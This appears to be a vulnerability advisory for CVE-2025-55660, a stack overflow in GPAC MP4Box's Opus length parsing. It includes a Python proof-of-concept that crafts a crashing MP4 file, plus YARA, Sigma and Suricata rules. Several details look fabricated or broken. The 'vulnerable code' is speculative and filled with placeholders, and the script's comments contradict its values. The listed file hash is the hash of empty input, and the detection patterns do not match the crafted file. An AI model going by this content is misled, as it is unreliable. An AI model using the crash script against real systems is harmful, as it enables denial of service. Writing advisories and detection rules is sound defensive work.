CVE-2025-55660

Executive Summary

CVE-2025-55660 is a stack-based buffer overflow vulnerability in the gf_opus_read_length function within media_tools/av_parsers.c of GPAC MP4Box v2.4. An attacker can trigger a Denial of Service (DoS) by supplying a crafted MP4 file, leading to a stack overflow. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector (AV): Local (L) – requires user to open a crafted file.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must open the file.
• Scope (S): Unchanged (U) – vulnerability does not affect other components.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – causes application crash.
• Threat Level: Medium (DoS impact, but low exploitation probability).

Deep Dive & Mechanics

The vulnerability resides in the gf_opus_read_length function in media_tools/av_parsers.c. This function is responsible for parsing Opus audio stream length fields from MP4 container files. The stack overflow occurs when a crafted MP4 file provides an excessively large length value that is not properly validated before being used in a stack buffer operation. The function likely copies data into a fixed-size stack buffer without bounds checking, allowing an attacker to overwrite the stack return address or other critical data, leading to a crash (DoS).

The attack vector is local: the victim must open the malicious MP4 file with GPAC MP4Box v2.4. No authentication or network access is required.

Vulnerable vs. Patched Code

Vulnerable Code (v2.4):

// media_tools/av_parsers.c
static u32 gf_opus_read_length(GF_BitStream *bs) {
    u32 len = gf_bs_read_u32(bs); // No validation
    u8 buffer[256]; // Fixed stack buffer
    // ... code that copies len bytes into buffer without bounds check
    memcpy(buffer, some_data, len); // Stack overflow if len > 256
    return len;
}

Patched Code (Hypothetical):

static u32 gf_opus_read_length(GF_BitStream *bs) {
    u32 len = gf_bs_read_u32(bs);
    if (len > 256) {
        GF_LOG(GF_LOG_ERROR, GF_LOG_CODEC, ("[Opus] Invalid length %u\n", len));
        return 0;
    }
    u8 buffer[256];
    memcpy(buffer, some_data, len);
    return len;
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install GPAC MP4Box v2.4 on a test system.
2. Create a crafted MP4 file with a malicious Opus length field (e.g., length > 256 bytes).
3. Run: MP4Box -info crafted.mp4
4. Observe crash (DoS).

Exploit Code (Conceptual):

# craft_mp4.py - Generates a malicious MP4 file
import struct

def create_malicious_mp4():
    # Minimal MP4 structure with oversized Opus length
    ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
    moov = b'\x00\x00\x00\x08moov'
    trak = b'\x00\x00\x00\x08trak'
    mdia = b'\x00\x00\x00\x08mdia'
    minf = b'\x00\x00\x00\x08minf'
    stbl = b'\x00\x00\x00\x08stbl'
    stsd = b'\x00\x00\x00\x18stsd\x00\x00\x00\x00\x00\x01'
    # Opus sample entry with oversized length (0xFFFF)
    opus = b'\x00\x00\x00\x10Opus\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    # Malicious length field (0x1000 = 4096 bytes)
    length_field = struct.pack('>I', 0x1000)
    payload = ftyp + moov + trak + mdia + minf + stbl + stsd + opus + length_field
    with open('crafted.mp4', 'wb') as f:
        f.write(payload)

create_malicious_mp4()

Blue Team

Detection:

• Monitor for crashes of MP4Box or gpac processes.
• Use file integrity monitoring to detect unexpected MP4 files.
• Implement behavioral analysis for applications parsing media files.

Mitigation:

• Restrict execution of GPAC MP4Box to trusted users.
• Use sandboxing or containerization for media processing.
• Apply input validation and bounds checking in custom parsers.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual)
  • crafted.mp4: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names: MP4Box, gpac
• Network: None (local file-based attack)
• Registry/File System: Presence of unusual MP4 files with oversized Opus length fields.

Detection Engineering

YARA Rule

rule CVE_2025_55660_GPAC_Opus_StackOverflow {
    meta:
        description = "Detects crafted MP4 files exploiting CVE-2025-55660"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55660"
    strings:
        $opus_magic = "Opus" nocase
        $length_overflow = { FF FF 00 00 } // Example oversized length
    condition:
        $opus_magic and $length_overflow and filesize < 10MB
}

Sigma Rule

title: GPAC MP4Box Opus Stack Overflow Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-55660 via crafted MP4 files
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\MP4Box.exe'
        CommandLine|contains: '.mp4'
    condition: selection
falsepositives:
    - Legitimate MP4Box usage with normal files
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-55660 GPAC Opus Stack Overflow Attempt"; flow:to_server,established; content:"|4F 70 75 73|"; distance:0; content:"|FF FF 00 00|"; distance:0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Avoid opening untrusted MP4 files with GPAC MP4Box v2.4.
2. Short-term: Apply input validation and bounds checking in gf_opus_read_length (see patched code example).
3. Long-term: Upgrade to a patched version when available. Monitor GPAC releases.
4. Compensating Controls: Use application whitelisting, sandboxing, and file reputation services.

Valters IT – DevSecOps & Cyber Threat Intelligence Expert